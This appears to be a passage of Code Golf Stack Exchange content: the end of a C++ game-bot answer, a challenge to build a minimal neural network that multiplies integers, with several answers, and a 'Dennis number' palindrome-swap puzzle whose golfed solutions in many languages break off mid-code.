case LOAD: oa += 1; break; case BULLET: oa -= 1; break; case PLASMA: oa -= 2; break; } } private: Action returnval; //our action to return Action next; //the action we want to take next turn - no matter what! bool nextDefined = false; //flag for if we want to be taking the "next" action. int t = 0; //turn number int ma = 0; //my ammo int oa = 0; //opponent ammo int pa = 0; //my previous ammo Action op; //opponent previous action Action randomBlock(int oa) { Action a; if (oa == 0) { a = load(); } else if (oa == 1) { a = metal(); } else { // more chance of ordianry block than laser block a = GetRandomInteger(2) % 2 ? metal() : thermal(); } return a; } Action randomAttack(int ma) { Action a; if (ma == 0) { a = load(); } else if (ma == 1) { a = bullet(); } else { // more chance of ordianry attack than plasma a = GetRandomInteger(2) % 2 ? bullet() : plasma(); } return a; } }; #endif // !__SPECIFIC_PLAYER_HPP__ ``` [Answer] # NotSoPatientPlayer > > The story of its creation will come later. > > > ``` // NotSoPatientPlayer.hpp #ifndef __NOT_SO_PATIENT_PLAYER_HPP__ #define __NOT_SO_PATIENT_PLAYER_HPP__ #include "Player.hpp" #include <iostream> class NotSoPatientPlayer final : public Player { static const int TOTAL_PLAYERS = 50; static const int TOTAL_ACTIONS = 5; static const int MAX_TURNS = 100; public: NotSoPatientPlayer(size_t opponent = -1) : Player(opponent) { this->opponent = opponent; } public: virtual Action fight() { /*Part which is shamelessly copied from MontePlayer.*/ int turn = getTurn(), ammo = getAmmo(), opponentAmmo = getAmmoOpponent(); int turnsRemaining = MAX_TURNS - turn; //The bot starts to shoot when there is enough ammo to fire plasma at least (turnsRemaining-2) times. //Did you know that you cannot die when you shoot plasma? //Also chooses 1 or 2 move(s) in which will shoot bullet(s) or none if there is plenty of ammo. //Also check !burstMode because it needs to be done only once. if (!burstMode && ammo + 2 >= turnsRemaining * 2) { burstMode = true; if (!(ammo == turnsRemaining * 2)) { turnForBullet1 = GetRandomInteger(turnsRemaining - 1) + turn; if (ammo + 2 == turnsRemaining * 2) { //turnForBullet1 should be excluded in range for turnForBullet2 turnForBullet2 = GetRandomInteger(turnsRemaining - 2) + turn; if (turnForBullet2 >= turnForBullet1) turnForBullet2++; } } } if (burstMode) { if (turn == turnForBullet1 || turn == turnForBullet2) { return bullet(); } else return plasma(); } //if opponent defended last 3 turns, the bot tries to go with something different if (turn >= 3) { auto historyOpponent = getHistoryOpponent(); //if opponent used metal last 3 turns if (METAL == historyOpponent[turn - 1] && METAL == historyOpponent[turn - 2] && METAL == historyOpponent[turn - 3]) { if (ammo >= 2) return plasma(); else return load(); } //if opponent used thermal last 3 turns if (THERMAL == historyOpponent[turn - 1] && THERMAL == historyOpponent[turn - 2] && THERMAL == historyOpponent[turn - 3]) { if (ammo >= 1) return bullet(); else return load(); } //if the opponent defends, but not consistently if ((historyOpponent[turn - 1] == METAL || historyOpponent[turn - 1] == THERMAL) && (historyOpponent[turn - 2] == METAL || historyOpponent[turn - 2] == THERMAL) && (historyOpponent[turn - 3] == METAL || historyOpponent[turn - 3] == THERMAL)) { if (ammo >= 2) return plasma(); else if (ammo == 1) return bullet(); else return load(); } } /*else*/ { if (opponentAmmo == 0) return load(); if (opponentAmmo == 1) return metal(); //if opponent prefers bullets or plasmas, choose the appropriate defence if (opponentMoves[opponent][BULLET] * 2 >= opponentMoves[opponent][PLASMA]) return metal(); else return thermal(); } } virtual void perceive(Action action) { Player::perceive(action); opponentMoves[opponent][action]++; } /*virtual void declared(Result result) { currentRoundResults[opponent][result]++; totalResults[opponent][result]++; int duels = 0; for (int i = 0; i < 3; i++) duels += currentRoundResults[opponent][i]; if (duels == 100) { std::cout << "Score against P" << opponent << ": " << currentRoundResults[opponent][WIN] << "-" << currentRoundResults[opponent][DRAW] << "-" << currentRoundResults[opponent][LOSS] << "\n"; for (int i = 0; i < 3; i++) currentRoundResults[opponent][i] = 0; } };*/ private: static long opponentMoves[TOTAL_PLAYERS][TOTAL_ACTIONS]; int opponent; //When it becomes true, the bot starts shooting. bool burstMode = false; //turnForBullet1 and turnForBullet2, //the 2 turns in which the bot will shoot bullets int turnForBullet1 = -1, turnForBullet2 = -1; //For debugging purposes //Reminder: enum Result { DRAW, WIN, LOSS }; static int currentRoundResults[TOTAL_PLAYERS][3], totalResults[TOTAL_PLAYERS][3]; }; long NotSoPatientPlayer::opponentMoves[TOTAL_PLAYERS][TOTAL_ACTIONS] = { { 0 } }; int NotSoPatientPlayer::currentRoundResults[TOTAL_PLAYERS][3] = { { 0 } }; int NotSoPatientPlayer::totalResults[TOTAL_PLAYERS][3] = { { 0 } }; #endif // !__NOT_SO_PATIENT_PLAYER_HPP__ ``` ]
[Question] [ I'd like to propose a different kind of golfing challenge to this community: (Artificial) *Neural Networks* are very popular machine learning models that can be designed and trained to approximate any given (usually unknown) function. They're often used to solve highly complex problems that we don't know how to solve algorithmically like speech recognition, certain kinds of image classifications, various tasks in autonomous driving systems, ... For a primer on neural networks, [consider this excellent Wikipedia article](https://en.wikipedia.org/wiki/Artificial_neural_network#Models). As this is the first in what I hope to be a series of machine learning golf challenges, I'd like to keep things as simple as possible: In the language and framework of your choice, design and train a neural network that, given \$(x\_1, x\_2)\$ calculates their product \$x\_1 \cdot x\_2\$ for all integers \$x\_1, x\_2\$ between (and including) \$-10\$ and \$10\$. **Performance Goal** To qualify, your model may not deviate by more than \$0.5\$ from the correct result on any of those entries. **Rules** Your model * must be a 'traditional' neural network (a node's value is calculated as a weighted linear combination of some of the nodes in a previous layer followed by an activation function), * may only use the following standard activation functions: 1. \$\textrm{linear}(x) = x\$, 2. \$\textrm{softmax}(\vec{x})\_i = \frac{e^{x\_i}}{\sum\_j e^{x\_j}}\$, 3. \$\textrm{selu}\_{\alpha, \beta}(x) = \begin{cases} \beta \cdot x & \text{, if } x > 0 \\ \alpha \cdot \beta (e^x -1 ) & \text{, otherwise} \end{cases}\$, 4. \$\textrm{softplus}(x) = \ln(e^x+1)\$, 5. \$\textrm{leaky-relu}\_\alpha(x) = \begin{cases} x & \text{, if } x < 0 \\ \alpha \cdot x & \text{, otherwise} \end{cases}\$, 6. \$\tanh(x)\$, 7. \$\textrm{sigmoid}(x) = \frac{e^x}{e^x+1}\$, 8. \$\textrm{hard-sigmoid}(x) = \begin{cases} 0 & \text{, if } x < -2.5 \\ 1 & \text{, if } x > 2.5 \\ 0.2 \cdot x + 0.5 & \text{, otherwise} \end{cases}\$, 9. \$e^x\$ * must take \$(x\_1, x\_2)\$ either as a tupel/vector/list/... of integers or floats as its only input, * return the answer as an integer, float (or a suitable container, e.g. a vector or list, that contains this answer). Your answer must include (or link to) all code necessary to check your results -- including the trained weights of your model. **Scoring** The neural network with the *smallest number of weights* (including bias weights) wins. Enjoy! [Answer] # ~~21 13 11~~ 9 weights This is based on the [polarization identity of bilinear forms](https://en.wikipedia.org/wiki/Polarization_identity#Symmetric_bilinear_forms) which in the one dimensional real case reduces to the polynomial identity: $$ x\cdot y = \frac{(x+y)^2 - (x-y)^2}{4}$$ So `y1` just computes `[x+y, x-y]` using a linear transformation, and `y3` is just the absolute value of `y1` as a preprocessing step for the next one: Then the "hard" part is computing the squares which I will explain below, and after that just computing a difference and scaling which is again a linear operation. To compute the squares I use an exponential series \$s\$ which should be accurate for all integers \$\{0,1,2,\ldots,20\}\$ within around \$0.5\$. This series is of the form $$ \text{approx\_square}(x) = \sum\_{i=0}^2 w\_i \exp(0.0001 \cdot i \cdot x)$$ where I just optimized for the weights `W2` (\$=(w\_i)\_i\$). This whole approximation comprises again just two linear transformations with an exponential activation sandwiched in between. This approach results in a maximal deviation of about `0.02`. ``` function p = net(x) % 9 weights one = 1; mone =-1; zero = 0; fourth = 0.25; W1 = [1e-4, 2e-4]; W2 = [-199400468.100687;99700353.6313757]; b2 = 99700114.4299316; leaky_relu = @(a,x)max(a*x,x); % Linear y0 = [one, one; one, mone] * x; % Linear + ReLU y1 = mone * y0; y2 = [leaky_relu(zero, y0), leaky_relu(zero, y1)]; % Linear y3 = y2 * [one; one]; % Linear + exp y4 = exp(y3 * W1); % Linear + Bias y5 = y4 * W2 + b2; % Linear y6 = [one, mone]*y5; p = y6 * fourth; end ``` [Try it online!](https://tio.run/##ZZLNTuswEIX3forZXGGHpLKTNCW1kBBrVkhXLKoIpWAgpU2q/IB9X7732EW0CC@s0ZkvM2c86Z7G@sMcDi9T@zQ2XUt7uqbWjNwK9odK@jTN69s4sK41SChNbBfCRGn2z/QdRKnZSzf145uPZ@lcsweFcKVMkseU4q4gpeS1RJVlLmVeXM2UlMXVQpflQspsns2KTGWL@QLsOgUadKXyWZ6WZaYKzbamfnePvdlOSN/wOrZiV1teRxYRjDEYvmtaU/fMSd8MRmPCpSlE3nhFEVl9IumS7s3dX@a84zBZRA4DOW9hderI/awxUiKm36oSlT7vnuFjVIiChdC9@tnT2D1zOSgEHHhEDyqMcMbcNvXA3BwQAQWRQlynPxoV32OG4SKHx/cLRCKi41LAm/b5wCzkRMml8tOdxQzL66nxy122085s/eYJx8ubM9kdZX@6afz6S1aWNzDu@EZUQn8DvRmm7cibeCMAAj@mYMSbgaO@R/VrqtcDP7KUkL3wj48q7LkZ9tzvNnB8KYQ4/Ac "Octave – Try It Online") [Answer] # 7 weights ``` eps = 1e-6 c = 1 / (2 * eps * eps) def f(A, B): e_s = exp(eps * A + eps * B) # 2 weights, exp activation e_d = exp(eps * A - eps * B) # 2 weights, exp activation return c * e_s + (-c) * e_d + (-1 / eps) * B # 3 weights, linear activation ``` [Try it online!](https://tio.run/##jZFBT8MwDIXP9Fc8DVVLtxZoETtM4tDeuewKCIU2WSPRtEoDlF9f7HQItBMXy478PT87w5dve1vM2vUdOulbmG7onYeahlkNI@6Rq2wX1ZzgGqLABvweYhJFjdLQokxRJfvoQr0wQaxYekpsT91VAlyiwKcyx9aPKTdB1t58SG96y2hzhmb/RZ3y786iZlNkYAuR1UkomlCwcXbLWix1@yv1ZqyS7o/afCAXTtqjIu4mRZ7TkoM0jhd7pEXJje4d2TMWh5BWIX1ebuHV6IXmW5xcdXIS8nUUemEzIsNKQSQNbJBPQHOcsR6rBzlBOde7PeI7/WRXiH90o@ico0kLxn@QotxQWMdXO70mahk6fwM "Python 2 – Try It Online") Uses the following approximate equality for small \$\epsilon\$ based on the Taylor expansion \$ e^x \approx 1 + x + \frac{x^2}{2}\$: $$ AB \approx \frac{e^{\epsilon A+\epsilon B} - e^{\epsilon A-\epsilon B}}{2 \epsilon^2} - \frac{B}{\epsilon} $$ Picking \$\epsilon\$ small enough gets us within the required error bounds. Note that `eps` and `c` are constant weights in the code. [Answer] # ~~33~~ 31 weights ``` # Activation functions sub hard { $_[0] < -2.5 ? 0 : $_[0] > 2.5 ? 1 : 0.2 * $_[0] + 0.5 } sub linear { $_[0] } # Layer 0 sub inputA() { $a } sub inputB() { $b } # Layer 1 sub a15() { hard(5*inputA) } # Layer 2 sub a8() { hard(-5*inputA + 75*a15 - 37.5) } # Layer 3 sub aa() { linear(-5*inputA + 75*a15 - 40*a8) } # Layer 4 sub a4() { hard(aa - 17.5) } # Layer 5 sub a2() { hard(aa - 20*a4 - 7.5) } # Layer 6 sub a1() { linear(0.2*aa - 4*a4 - 2*a2) } # Layer 7 sub b15() { hard(0.25*inputB - 5*a15) } sub b8() { hard(0.25*inputB - 5*a8) } sub b4() { hard(0.25*inputB - 5*a4) } sub b2() { hard(0.25*inputB - 5*a2) } sub b1() { hard(0.25*inputB - 5*a1) } # Layer 8 sub output() { linear(-300*b15 + 160*b8 + 80*b4 + 40*b2 + 20*b1 - 10*inputA) } # Test for $a (-10..10) { for $b (-10..10) { die if abs($a * $b - output) >= 0.5; } } print "All OK"; ``` [Try it online!](https://tio.run/##fZNNa8MwDIbv@RWi3SHJSLBduw3r1tFeN9iltzGG3aYsENKSj8EY/e2Z/JGQdKW@yJaeV5bk5JSWuWjbKax3dfYt6@xYwKEpdnpTeVWj4EuWe/iFu8938gGPELFYwDMQeHCuFVgPRQ@JGYTOf48nAWeTI8@KVJZ9lrPnTeFV/qQlEBPPilNTr/1AE9JpjG9jfWoooSYsqTAxXZ4vQpshGHLMcgliHRd1IFa3ECHmgAhmi1iMhDMrlFZoa78u5SSUyUjLrZYPLpUSSXp5ibAguwQZpuRoL/m563pUFM47NCpuRXhiI9XCqNRwVqhxrWxQYToJ3MjVcFb/uKTH@C2M9xi7hbEeo7cwOmonMYpjUyNgOuoeZ0ZIiF3i29A57hLcJGg5WnwjxdAyTeiXIOOPZZtWtXc4lvrL8yNK4pgSTO2BWyakroa6tc9SyA4gVeVjklDjkasygNWT/hGWvejs4bWnMitqmKzzHN5eJsu2/QM "Perl 5 – Try It Online") This does long multiplication in (sorta) binary, and thus returns the exact result. It should be possible to take advantage of the 0.5 error window to golf this some more, but I'm not sure how. Layers 1 to 6 decompose the first input in 5 "bits". For golfing reasons, we don't use actual binary. The most significant "bit" has weight -15 instead of 16, and when the input is 0, all the "bits" are 0.5 (which still works out fine, since it preserves the identity `inputA = -15*a15 + 8*a8 + 4*a4 + 2*a2 + 1*a1`). [Answer] # 43 weights The two solutions posted so far have been very clever but their approaches likely won't work for more traditional tasks in machine learning (like OCR). Hence I'd like to submit a 'generic' (no clever tricks) solution to this task that hopefully inspires other people to improve on it and get sucked into the world of machine learning: My model is a very simple neural network with 2 hidden layers built in TensorFlow 2.0 (but any other framework would work as well): ``` model = tf.keras.models.Sequential([ tf.keras.layers.Dense(6, activation='tanh', input_shape=(2,)), tf.keras.layers.Dense(3, activation='tanh'), tf.keras.layers.Dense(1, activation='linear') ]) ``` As you can see, all layers are dense (which most certainly isn't optimal), the activation function is tanh (which might actually be okay for this task), except for the output layer that, due to the nature of this task, has a linear activation function. There are 43 weights: * \$(2+1) \cdot 6 = 18\$ between the input and first hidden layer, * \$(6+1) \cdot 3 = 21\$ between the hidden layers and * \$(3+1) \cdot 1 = 4\$ connecting the last hidden and the output layer. The weights have been trained (with an adam optimizer) by a layered fitting approach: First they've been fitted to minimize the mean squarred error not only on integer multiplication between \$-10\$ and \$10\$ but actually on inputs in a certain neighborhood around these values. This results in much better convergence due to the nature of gradient descent. And it accounted for 400 epochs worth of training on 57,600 training samples each, using a batch size of 32. Next, I've fine-tuned them -- optimizing for the maximum deviation on any of the integer multiplication tasks. Unfortunately, my notes don't show much fine tuning I ended up doing, but it was very minor. In the neighborhood of 100 epochs on those 441 training samples, with a batch size of 441. These are the weights I ended up with: ``` [<tf.Variable 'dense/kernel:0' shape=(2, 6) dtype=float32, numpy= array([[ 0.10697944, 0.05394982, 0.05479664, -0.04538541, 0.05369904, -0.0728976 ], [ 0.10571832, 0.05576797, -0.04670485, -0.04466859, -0.05855528, -0.07390639]], dtype=float32)>, <tf.Variable 'dense/bias:0' shape=(6,) dtype=float32, numpy= array([-3.4242163, -0.8875816, -1.7694025, -1.9409281, 1.7825342, 1.1364107], dtype=float32)>, <tf.Variable 'dense_1/kernel:0' shape=(6, 3) dtype=float32, numpy= array([[-3.0665843 , 0.64912266, 3.7107112 ], [ 0.4914808 , 2.1569328 , 0.65417236], [ 3.461693 , 1.2072319 , -4.181983 ], [-2.8746269 , -4.9959164 , 4.505049 ], [-2.920127 , -0.0665407 , 4.1409926 ], [ 1.3777553 , -3.3750365 , -0.10507642]], dtype=float32)>, <tf.Variable 'dense_1/bias:0' shape=(3,) dtype=float32, numpy=array([-1.376577 , 2.8885336 , 0.19852689], dtype=float32)>, <tf.Variable 'dense_2/kernel:0' shape=(3, 1) dtype=float32, numpy= array([[-78.7569 ], [-23.602606], [ 84.29587 ]], dtype=float32)>, <tf.Variable 'dense_2/bias:0' shape=(1,) dtype=float32, numpy=array([8.521169], dtype=float32)>] ``` which barely met the stated performance goal. The maximal deviation ended up being \$0.44350433\$ as witnessd by \$9 \cdot 10 = 90.443504\$. My model can be found [here](https://www.stefanmesken.info/data/multiplication.h5) and you can also [Try it online!](https://colab.research.google.com/drive/1ggsm9XTyHf62bjd6wpIPJiRlQMvMK9rE) in a Google Colab environment. [Answer] ## 2 weights I was inspired by the other answers to approximate the polarization identity in a different way. For every small \$\epsilon>0\$, it holds that $$ xy \approx \frac{e^{\epsilon x+\epsilon y}+e^{-\epsilon x-\epsilon y}-e^{\epsilon x-\epsilon y}-e^{-\epsilon x+\epsilon y}}{4\epsilon^2}.$$ It suffices to take \$\epsilon=0.01\$ for this challenge. The obvious neural net implementation of this approximation takes weights in \$\{\pm\epsilon,\pm(4\epsilon^2)^{-1}\}\$. These four weights can be golfed down to three \$\{\pm\epsilon,(4\epsilon^3)^{-1}\}\$ by factoring \$\pm(4\epsilon^2)^{-1}=\pm\epsilon\cdot(4\epsilon^3)^{-1}\$. As I mentioned in a comment above, every neural net with weights in machine precision can be golfed to a (huge!) neural net with only two distinct weights. I applied this procedure to write the following MATLAB code: ``` function z=approxmultgolfed(x,y) w1 = 0.1; % first weight w2 = -w1; % second weight k = 250000; v1 = w1*ones(k,1); v2 = w2*ones(k,1); L1 = w1*eye(2); L2 = [ w1 w1; w2 w2; w1 w2; w2 w1 ]; L3 = [ v1 v1 v2 v2 ]; L4 = v1'; z = L4 * L3 * exp( L2 * L1 * [ x; y ] ); ``` All told, this neural net consists of 1,250,010 weights, all of which reside in \$\{\pm0.1\}\$. ## How to get away with just 1 weight (!) It turns out you can simulate any neural net that has weights in \$\{\pm0.1\}\$ with a larger neural net that has only one weight, namely, \$-0.1\$. Indeed, multiplication by \$0.1\$ can be implemented as $$ 0.1x = w^\top wx, $$ where \$w\$ is the column vector of \$10\$ entries, all equal to \$-0.1\$. For neural nets in which half of the weights are positive, this transformation produces a neural net that is \$10.5\$ times larger. The obvious generalization of this procedure will transform any neural net with weights in \$\{\pm 10^{-k}\}\$ into a larger neural net with the single weight \$-10^{-k}\$. Combined with the procedure in my comment above, it therefore holds that every neural net with machine-precision weights can be transformed into a single-weight neural net. (Perhaps we should modify how re-used weights are scored in future neural net golfing challenges.) ]
[Question] [ This challenge is a tribute to [PPCG](https://codegolf.stackexchange.com/) user [Dennis](https://codegolf.stackexchange.com/users/12012/dennis) for winning the robbers' part of [The Programming Language Quiz](https://codegolf.stackexchange.com/q/54807/26997). Looking at [Dennis' PPCG profile page](https://codegolf.stackexchange.com/users/12012/dennis) we can see some pretty impressive stuff: [![Dennis' profile](https://i.stack.imgur.com/TefcP.png)](https://i.stack.imgur.com/TefcP.png) He currently has over sixty-eight *thousand* reputation, making him second in [rep overall](https://codegolf.stackexchange.com/users?tab=Reputation&filter=all), surpassing third place by almost thirty thousand. He recently [won](http://meta.codegolf.stackexchange.com/a/5749/26997) our election for a new moderator and [got](http://meta.codegolf.stackexchange.com/q/5846/26997) a shiny new diamond next to his name. But I personally think the most interesting part about Dennis is his PPCG user ID number: 12012. At first glance `12012` almost looks like a [palindrome](https://en.wikipedia.org/wiki/Palindromic_number), a number that reads the same when reversed, but it's a little off. It can become the palindrome `21012` if we swap the positions of the first `1` and `2`, and it can become the palindrome `12021` if we swap the last `1` and `2`. Also, following the convention that leading zeroes in a number are not written, swapping the first `1` and the `0` results in `02112` or rather `2112` which is another palindrome. Let's define a **Dennis number** as a positive integer that is not palindromic itself but can be made into a palindrome by swapping the positions of at least one pair of any two digits. The **order** of a Dennis number is the number of distinct pairs of digits that can be swapped to make a (not necessarily distinct) palindrome. So the order of `12012` is 3 since 3 distinct pairs of its digits (`***12***012`, `120***12***`, `***1***2***0***12`) can be swapped around to produce palindromes. `12012` happens to be the smallest order 3 Dennis number. `10` is the smallest Dennis number and has order 1 because switching around the `1` and `0` gives `01` a.k.a. `1` which is a palindrome. The imaginary leading zeroes of a number don't count as switchable digits. For example, changing `8908` to `08908` and swapping the first two digits to get the palindrome `80908` is invalid. `8908` is not a Dennis number. Non-Dennis numbers could be said to have order 0. # Challenge Write a program or function that takes in a positive integer N and prints or returns the Nth smallest Dennis number *along with its order* in some reasonable format such as `12012 3` or `(12012, 3)`. For example, `12012` is the 774th Dennis number so if `774` is the input to your program, the output should be something like `12012 3`. (Curiously, 774 is another Dennis number.) **The shortest code in bytes wins.** Here is are the first 20 Dennis numbers and their orders for reference: ``` N Dennis Order 1 10 1 2 20 1 3 30 1 4 40 1 5 50 1 6 60 1 7 70 1 8 80 1 9 90 1 10 100 1 11 110 2 12 112 1 13 113 1 14 114 1 15 115 1 16 116 1 17 117 1 18 118 1 19 119 1 20 122 1 ``` [Here is the same list up to N = 1000.](http://pastebin.com/raw.php?i=2ZKcjwwP) [Answer] # CJam, 45 bytes ``` 0{{)_s:C,2m*{~Ce\is_W%=},,2/:O!CCW%=|}g}ri*SO ``` [Try it online!](http://cjam.tryitonline.net/#code=MHt7KV9zOkMsMm0qe35DZVxpc19XJT19LCwyLzpPIUNDVyU9fH1nfXJpKlNP&input=Nzc0) ### How it works ``` 0 e# Push 0 (candidate). { e# Loop: { e# Loop: )_ e# Increment the candidate and push a copy. s:C e# Cast to string and save in C. , e# Get the length of C, i.e., the number of digits. 2m* e# Push all pairs [i j] where 0 ≤ i,j < length(C). { e# Filter: ~ e# Unwrap, pushing i and j on the stack. Ce\ e# Swap the elements of C at those indices. is e# Cast to int, then to string, removing leading zeroes. _W%= e# Copy, reverse and compare. }, e# Keep the pairs for which = returned 1, i.e., palindromes. ,2/ e# Count them and divide the count by 2 ([i j] ~ [j i]). :O e# Save the result (the order) in O. ! e# Negate logically, so 0 -> 1. CCW%= e# Compare C with C reversed. | e# Compute the bitwise NOT of both Booleans. e# This gives 0 iff O is 0 or C is a palindrome. }g e# Repeat the loop while the result is non-zero. }ri* e# Repeat the loop n times, where n is an integer read from STDIN. e# This leaves the last candidate (the n-th Dennis number) on the stack. SO e# Push a space and the order. ``` [Answer] # Pyth, 44 bytes ``` L/lf_ITs.e.e`sXXNkZYbN=N`b2,Je.f&!_I`ZyZQ0yJ ``` Try it online: [Demonstration](http://pyth.herokuapp.com/?code=L%2Flf_ITs.e.e%60sXXNkZYbN%3DN%60b2%2CJe.f%26!_I%60ZyZQ0yJ&input=774&test_suite_input=1%0A2%0A3%0A4%0A5%0A6%0A7%0A8%0A9%0A10%0A11%0A12%0A13%0A14%0A15%0A16%0A17%0A18%0A19%0A20&debug=0) or [Test Suite](http://pyth.herokuapp.com/?code=L%2Flf_ITs.e.e%60sXXNkZYbN%3DN%60b2%2CJe.f%26!_I%60ZyZQ0yJ&input=774&test_suite=1&test_suite_input=1%0A2%0A3%0A4%0A5%0A6%0A7%0A8%0A9%0A10%0A11%0A12%0A13%0A14%0A15%0A16%0A17%0A18%0A19%0A20&debug=0) A stupid little bug (?) in Pyth ruined a 41 byte solution. ### Explanation: ``` L/lf_ITs.e.e`sXXNkZYbN=N`b2 L define a function y(b), which returns: =N`b assign the string representation of b to N .e N map each (k=Index, b=Value) of N to: .e N map each (Y=Index, Z=Value) of N to: XXNkZbN switch the kth and Yth value in N `s get rid of leading zeros s combine these lists f_IT filter for palindromes l length / 2 and divide by 2 ,Je.f&!_I`ZyZQ0yJ .f Q0 find the first input() numbers Z >= 0, which satisfy !_I`Z Z is not a palindrom & and yZ y(Z) != 0 e get the last number J and store in J ,J yJ print the pair [J, y(J)] ``` [Answer] # Haskell, 174 bytes ``` import Data.List p x=x==reverse x x!y=sum[1|(a,b)<-zip x y,a/=b]==2 o n|x<-show n=sum[1|v<-nub$permutations x,x!v,p$snd$span(<'1')v,not$p x] f=([(x,o x)|x<-[-10..],o x>0]!!) ``` `p` checks whether a list is a palindrome. `x!y` is `True` iff the lists `x` and `y` (which should have the same length) differ in exactly two places. Specifically, if `x` is a permutation of `y`, `x!y` determines whether it is a "swap". `o n` finds the Dennis-order of `n`. It filters for swaps among the permutations of `x = show n`, and then counts how many of those swaps are palindromes. The list comprehension that performs this count has an extra guard `not (p x)`, which means it will return `0` if `n` was a palindrome to begin with. The `snd (span (<'1') v)` bit is just `dropWhile` but one byte shorter; it turns `"01221"` into `"1221"`. `f` indexes from a list of `(i, o i)` where `o i > 0` (i.e. `i` is a Dennis number.) There would normally be an off-by-one error here, as `(!!)` counts from 0 but the problem counts from 1. I managed to remedy this by starting the search from `-10` (which turned out to be considered a Dennis number by my program!) thereby pushing all the numbers into the right spots. `f 774` is `(12012,3)`. [Answer] ## Rust, 390 bytes ``` fn d(mut i:u64)->(u64,i32){for n in 1..{let mut o=0;if n.to_string()==n.to_string().chars().rev().collect::<String>(){continue}let mut s=n.to_string().into_bytes();for a in 0..s.len(){for b in a+1..s.len(){s.swap(a,b);{let t=s.iter().skip_while(|&x|*x==48).collect::<Vec<&u8>>();if t.iter().cloned().rev().collect::<Vec<&u8>>()==t{o+=1}}s.swap(a,b);}}if o>0{i-=1;if i<1{return(n,o)}}}(0,0)} ``` The new Java? :/ Ungolfed and commented: ``` fn main() { let (num, order) = dennis_ungolfed(774); println!("{} {}", num, order); //=> 12012 3 } fn dennis_ungolfed(mut i: u64) -> (u64, i32) { for n in 1.. { let mut o = 0; // the order of the Dennis number if n.to_string() == n.to_string().chars().rev().collect::<String>() { // already a palindrome continue } let mut s = n.to_string().into_bytes(); // so we can use swap() for a in 0..s.len() { // iterate over every combination of (i, j) for b in a+1..s.len() { s.swap(a, b); // need to start a new block because we're borrowing s { let t = s.iter().skip_while(|&x| *x == 48).collect::<Vec<&u8>>(); if t.iter().cloned().rev().collect::<Vec<&u8>>() == t { o += 1 } } s.swap(a, b); } } // is this a Dennis number (order at least 1)? if o > 0 { // if this is the i'th Dennis number, return i -= 1; if i == 0 { return (n, o) } } } (0, 0) // grr this is necessary } ``` [Answer] # Python 2, 176 ``` i=input() n=9 c=lambda p:`p`[::-1]==`p` while i:n+=1;x=`n`;R=range(len(x));r=[c(int(x[:s]+x[t]+x[s+1:t]+x[s]+x[t+1:]))for s in R for t in R[s+1:]];i-=any(r)^c(n) print n,sum(r) ``` I can't imagine that my swapping code is particularly optimal, but this is the best I've been able to get. I also don't like how often I convert between string and integer... For each number, it creates a list of a whether all of the swaps of two digits are palindromes. It decrements the counter when at least one of these values is true, and the original number is not a palindrome. Since `0+True` in python evaluates to `1` the sum of the final list works for the order of the Dennis number. [Answer] # [Jelly](http://github.com/DennisMitchell/jelly), 33 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` ṚḌ= =ċ0^2°;ḌÇ DŒ!Qç@ÐfDL©Ṡ>ѵ#Ṫ,® ``` [Try it online!](http://jelly.tryitonline.net/#code=4bma4biMPQo9xIswXjLCsDvhuIzDhwpExZIhUcOnQMOQZkRMwqnhuaA-w5HCtSPhuaoswq4&input=MTAw) ### How it works ``` DŒ!Qç@ÐfDL©Ṡ>ѵ#Ṫ,® Main link. No arguments. µ Combine the chain to the left into a link. # Find; execute the chain with arguments k = 0, 1, 2, ... until n values of k result in a truthy value, where n is an integer read implicitly from STDIN. Return those n values. D Decimal; convert k to the list of its digits in base 10. Œ! Generate all permutations of the digits. Q Unique; deduplicate the list of permutations. Ðf Filter: ç@ D Call the helper link on the second line with the unpermuted digits (D) as left argument, and each permutation as the right one. Keep permutations for which ç returns a truthy value. L© Compute the length (amount of kept permutations) and save it in the register. Ṡ Sign; yield 1 if the length is positive, and 0 otherwise. >Ṅ Compare the sign with the result from the helper link on the first line. This will return 1 if and only if the length is positive and Ñ returns 0. Ṫ Tail; extract the last value of k. ,® Pair it with the value in the register. =ċ0^2°;ḌÇ Helper link. Arguments: A, B (lists of digits) = Compare the corresponding integers in A and B. ċ0 Count the zeroes, i.e., the non-matching integers. ^2 Bitwise XOR the amount with 2. ° Convert to radians. This will yield 0 if exactly two corresponding items of A and B are different ,and a non-integral number otherwise. ; Prepend the result to B. Ḍ Convert the result from decimal to integer. Note that leading zeroes in the argument won't alter the outcome. Ç Call the helper link on the first line. ṚḌ= Helper link. Argument: m (integer) Ṛ Convert m to decimal and reverse the digits. Ḍ Convert back to integer. = Compare the result with m. ``` [Answer] # APL, 87 ``` 2↓⎕{⍺(2⊃⍵+K⌊~A∧.=⌽A)X,K←+/{⍵∧.=⌽⍵}¨1↓∪,{⍕⍎Y⊣Y[⌽⍵]←⍵⊃¨⊂Y←A}¨∘.,⍨⍳⍴A←⍕X←1+3⊃⍵}⍣{=/2↑⍺}3⍴0 ``` The body of the loop returns a vector of 4 numbers: 1) its left argument `⍺` read from input, 2) count of Dennis numbers so far, 3) current value of `X` — the loop counter, and 4) its order `K` computed as sum of palindromes within 1-swap permutations. It terminates when the first two elements become equal and last two are then returned as result. [Answer] # JavaScript (ES6), 229 As usual, JavaScript shines for its ineptitude for combinatorics (or, maybe it's *my* ineptitude...). Here I get all possibile swap positions finding all binary numbers of the given length and just 2 ones set. Test running the snippet below in Firefox (as MSIE is far from EcmaScript 6 compliant and Chrome is still missing default parameters) ``` F=c=>(P=>{for(a=9;c;o&&--c)if(P(n=++a+'',o=0))for(i=1<<n.length;k=--i;[x,y,z]=q,u=n[x],v=n[y],!z&&u-v&&(m=[...n],m[x]=v,m[y]=u,P(+(m.join``))||++o))for(j=0,q=[];k&1?q.push(j):k;k>>=1)++j;})(x=>x-[...x+''].reverse().join``)||[a,o] // TEST function go(){ O.innerHTML=F(I.value)} // Less Golfed U=c=>{ P=x=>x-[...x+''].reverse().join``; // return 0 if palindrome for(a = 9; // start at 9 to get the first that is known == 10 c; // loop while counter > 0 o && --c // decrement only if a Dennis number found ) { o = 0; // reset order count ++a; if (P(a)) // if not palindrome { n = a+''; // convert a to string for(i = 1 << n.length; --i; ) { j = 0; q = []; for(k = i; k; k >>= 1) { if (k & 1) q.push(j); // if bit set, add bit position to q ++j; } [x,y,z] = q; // position of first,second and third '1' (x,y must be present, z must be undefined) u = n[x], v = n[y]; // digits to swap (not valid if they are equal) if (!z && u - v) // fails if z>0 and if u==v or u or v are undefined { m=[...n]; // convert to array m[x] = v, m[y] = u; // swap digits m = +(m.join``); // from array to number (evenutally losing leading zeroes) if (!P(m)) // If palindrome ... 